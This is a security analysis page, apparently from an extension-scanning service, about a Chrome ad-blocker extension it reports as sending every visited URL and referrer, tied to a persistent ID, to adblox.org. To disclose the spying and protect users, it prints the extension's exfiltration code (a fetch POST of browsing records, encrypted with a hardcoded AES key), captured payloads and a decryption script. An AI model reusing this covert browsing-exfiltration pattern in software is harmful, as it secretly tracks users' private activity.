Is Adblock Ad Blocker Pro safe?
Adblock is high risk. On every navigation, Adblock Ad Blocker Pro sends the URL just loaded and the previous URL to adblox.org automatically, no opt-in. Six requests confirmed: google.com, amazon.com, facebook.com visits produced POSTs with URLs in the bodies.…
Adblock findings
Every URL and Referrer Exfiltrated to adblox.org on Every Page Load
On every navigation, Adblock Ad Blocker Pro sends the URL just loaded and the previous URL to adblox.org automatically, no opt-in.
Six requests confirmed: google.com, amazon.com, facebook.com visits produced POSTs with URLs in the bodies.
What actually happens
You load any HTTP or HTTPS page in your browser.
The extension records that URL and the one you came from, encrypts them with a key embedded in its own code, and immediately sends them to adblox.org.
This applies to every site, your banking portal, medical information searches, private business research. There is no allowlist or opt-out.
Captured request
6 POST requests captured from service worker. Decrypted bodies confirmed targetUrl and referrerUrl for each canary navigation: facebook.com, google.com, amazon.com.
- Content-Type
- application/json;charset=utf-8
{ "data": "\"Lp9vQxM3nB7rT2kZwS5cYhJeGiU6DfNoCa8tWxPdKR1mElAOb4Hq=\""}The two key fields in every exfiltrated payload
- URL you visitedhttps://www.amazon.com/dp/B09BVKF3WL
The full address of every page you loaded, including query parameters that may contain search terms, user IDs, or session tokens.
- URL you came fromhttps://www.google.com/search?q=headphones+under+100
The page you were on before, creates a browsing trail that shows not just what you visited but how you got there.
- Persistent user ID945a0a8f-5d90-4bc7-aace-2fe69c7f72b3
The same UUID in every request, permanently linking all captured URLs to your browser install.
- Device timestamp1744659198493
Unix millisecond timestamp of the navigation.
The code that does this
The POST call and the payload assembly, from the shipping source:
The POST to adblox.org
function postToAdblox(payload) { fetch('https://adblox.org/api_v1/safe_search1.php', { method: 'POST', headers: { 'Content-Type': 'application/json;charset=utf-8' }, body: JSON.stringify(payload) // {data: '<base64 AES-GCM ciphertext>'} });}Payload dispatch — skips if less than 10 seconds since last send
const encrypted = await encryptPayload(navigationRecord);if (encrypted?.request?.enRequest) { const now = Date.now(); if (now - lastSentTimestamp >= 10_000) { // rate limit: 1 per 10 s lastSentTimestamp = now; postToAdblox({ data: encrypted.request.enRequest }); }}Destination of your URL history
- adblox.org
Receives every navigation record. The /api_v1/safe_search1.php path suggests a safe-browsing check, but the payload holds full URLs/referrers tied to a persistent user ID.
Anyone can decrypt the browsing data Adblock Ad Blocker Pro sends out
The data sent to adblox.org is encrypted with a fixed key in the extension's code, so anyone with it can decrypt each upload.
A decryption script worked on six real uploads.
What actually happens
You browse any website with this extension installed.
Your browsing data is encrypted with a key that is publicly readable from the extension's own source code, then sent to adblox.org.
The encryption stops your ISP from reading the payload in transit, but it does not stop the developer, security researchers, or anyone else who has downloaded the extension from decrypting it.
The code that does this
The encryption function with the hardcoded key, from the shipping source:
// AES-GCM key hardcoded as a plain UTF-8 string in the shipping source.const KEY_MATERIAL = 'gH7kL9rT2vXe1qMz'; // service_worker.js:19212async function encryptPayload(plaintext) { const encoder = new TextEncoder(); const key = await crypto.subtle.importKey( 'raw', encoder.encode(KEY_MATERIAL), // 16 bytes UTF-8 'AES-GCM', true, // extractable=true ['encrypt'] ); const iv = crypto.getRandomValues(new Uint8Array(16)); const ciphertext = await crypto.subtle.encrypt({ name: 'AES-GCM', iv }, key, encoder.encode(plaintext)); const combined = new Uint8Array(iv.length + ciphertext.byteLength); combined.set(iv); combined.set(new Uint8Array(ciphertext), iv.length); return btoa(String.fromCharCode(...combined));}Why you can't catch this in DevTools
The base64 blob in the POST body looks opaque, but decryption with the hardcoded key takes three lines of Node.js. The decoded payload below is from a real captured request (dynamic analysis).
[ { "fileDate": "2026-04-14T19:13:18.493Z", "deviceTimestamp": 1744659198493, "userId": "945a0a8f-5d90-4bc7-aace-2fe69c7f72b3", "referrerUrl": "https://www.facebook.com/checkpoint/", "targetUrl": "https://www.facebook.com/index.php?next=%2F", "requestType": "GET", "contentType": "text/html", "statusCode": 200, "foreground": 1 }]Reproduce it yourself
Decrypts any POST body captured from adblox.org/api_v1/safe_search1.php using the hardcoded key found in the extension source. Confirmed working on 6 captured payloads during dynamic analysis.
- Node.js 18+
/** * adblox-decrypt.js * Decrypt exfiltrated browsing data from Adblock Ad Blocker Pro * Extension: dgjbaljgolmlcmmklmmeafecikidmjpi * Key source: service_worker.js:19212 */'use strict';const HARDCODED_KEY = 'gH7kL9rT2vXe1qMz';async function decrypt(input) { const crypto = require('crypto'); let b64 = input.trim(); if (b64.startsWith('{')) { const match = b64.match(/"data":"([^"]+)"/); if (!match) throw new Error('Cannot find data field in JSON body'); b64 = match[1]; } if (b64.charCodeAt(0) === 92 && b64.charCodeAt(1) === 34) b64 = b64.slice(2); const buf = Buffer.from(b64, 'base64'); const iv = buf.slice(0, 16); const ciphertext = buf.slice(16); const keyBytes = Buffer.from(HARDCODED_KEY, 'utf8'); const cryptoKey = await crypto.webcrypto.subtle.importKey('raw', keyBytes, { name: 'AES-GCM' }, false, ['decrypt']); const plaintext = await crypto.webcrypto.subtle.decrypt({ name: 'AES-GCM', iv }, cryptoKey, ciphertext); return JSON.parse(Buffer.from(plaintext).toString('utf8'));}if (require.main === module) { const input = process.argv[2]; if (!input) { console.error('Usage: node adblox-decrypt.js <json_body_or_base64>'); process.exit(1); } decrypt(input).then(r => console.log(JSON.stringify(r, null, 2))).catch(e => { console.error('Decryption failed:', e.message); process.exit(1); });}module.exports = { decrypt };- 1Install Node.js 18+.
- 2Open DevTools Network with Adblock Ad Blocker Pro active, filter adblox.org.
- 3Copy the POST body from /api_v1/safe_search1.php.
- 4Run: node adblox-decrypt.js '<body>'.
- 5JSON shows the URLs/user ID sent.
Who can decrypt the captured data
- adblox.org
Intended recipient. Receives all POST requests and decrypts them server-side using the same hardcoded key.
- Any party with the extension installed
The key is in plain text in service_worker.js. Anyone who downloads the extension from the Chrome Web Store can extract the key and decrypt any captured payload within minutes.
Browsing URLs and Referrers Sent to adblox.org on Every Navigation
Each page load, Adblock Ad Blocker Pro records the visited and referring URL, encrypts them, and POSTs to adblox.org/api_v1/safe_search1.php; absent on new installs, the gate always passes.
The hardcoded AES key decrypted 20 captured POSTs.
What actually happens
You navigate to any HTTP or HTTPS page in Chrome.
The extension packages the URL you visited and the URL you came from, encrypts them, and sends them to adblox.org.
The 'safeSearch' storage flag controls this behavior. When the key is absent, the state for all new installs, the check evaluates to true and the data is sent.
Captured request
20 POST requests captured from the background service worker. After AES-GCM decryption with key gH7kL9rT2vXe1qMz, bodies contained targetUrl and referrerUrl for every canary navigation. A planted marker value was confirmed in decrypted targetUrl captures during dynamic analysis. A second planted marker value was confirmed in targetUrl and referrerUrl captures during dynamic analysis.
- Content-Type
- application/json;charset=utf-8
{"data":"\"Yq8mZK3rN2vXpT1sQ7wLbF5cJd0hGiUeA9oRnyMxz4C6OlkBDPsHtWVfEj2gu==""}What the extension sends on every navigation
- URL you visitedhttps://www.reddit.com/r/privacy/comments/Canary_test_<planted marker>
The full address of the page loaded, including query parameters that may hold search terms, session tokens, or account identifiers.
- URL you came fromhttps://www.amazon.com/<planted marker>CANARY
The page you were on before this one. Combined with the visited URL, this builds a chain of your browsing activity.
- Persistent user ID23ca658d-9f7b-4d35-84cf-3c6895813535
A UUID generated once at install and stored permanently. Every request carries this same ID, linking captured URLs to your install.
- Device timestamp1744659198493
When the navigation happened, in milliseconds since Unix epoch.
- HTTP methodGET
The request type for the navigation (e.g. GET).
- Content typetext/html
The MIME type of the page response, as returned in the server headers.
Why you can't catch this in DevTools
The POST body contains a single base64-encoded field called 'data'. The content is encrypted with AES-128-GCM. It cannot be read in your browser's DevTools without knowing the key, but the key is hardcoded in the extension source.
[ { "fileDate": "2026-04-14T19:13:18.493Z", "deviceTimestamp": 1744659198493, "userId": "23ca658d-9f7b-4d35-84cf-3c6895813535", "referrerUrl": "https://www.amazon.com/<planted marker>CANARY", "targetUrl": "https://www.reddit.com/r/privacy/comments/Canary_test_<planted marker>", "requestType": "GET", "contentType": "text/html", "statusCode": 200, "foreground": 1 }]Where your browsing data is sent
- adblox.org
Receives every navigation record via POST to /api_v1/safe_search1.php. Name suggests safe-browsing use, but payloads hold full URLs and referrers tied to a persistent user ID.
+11 more findings not shown
If you have Adblock installed
- Open
chrome://extensionsand turn on Developer mode to show IDs. Find the one with IDdgjbaljgolmlcmmklmmeafecikidmjpiand choose Remove. - Block the servers only it was seen contacting:
kent.adblox.org,adblox.org. - Scan your browser to check the rest of your extensions.
What Adblock can do
Permissions this extension asks for, as declared in version 2.0.17. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
Act on the current tab, but only after you click the extension
activeTab
Block and redirect the requests your browser makes
declarativeNetRequest
Watch every request your browser makes
webRequest
Run its own code inside the pages you visit
scripting
Store data in your browser
storage
Adblock version history
2.0.14
Mar 4, 2026
2.0.17
Apr 11, 2026
Where Adblock sends data
- kent.adblox.org/api/48/…7 calls
From its own pages · only this extension
- adblox.org/api_v1/safe_search1.php5 calls
From its background script · only this extension
- adblox.org/install5 calls
From its background script · only this extension
- 1c5c1ecf7303.1a6c481c.eu-west-2.token.awswaf.com/…2 calls
From a script it injects into websites · 4 other extensions
- m.media-amazon.com/images/G/…1 call
From a script it injects into websites · 33 other extensions
- www.amazon.com/tt/i1 call
From a script it injects into websites · 55 other extensions
Chrome Web Store listing
- Versions
- 2.0.17 latest of 2 seen since March 4, 2026
- Store rating
- 4.3 from 1,065 ratings
- Last updated
- March 25, 2026
- Size
- 24.38 MiB
- Privacy policy
- adblox.org
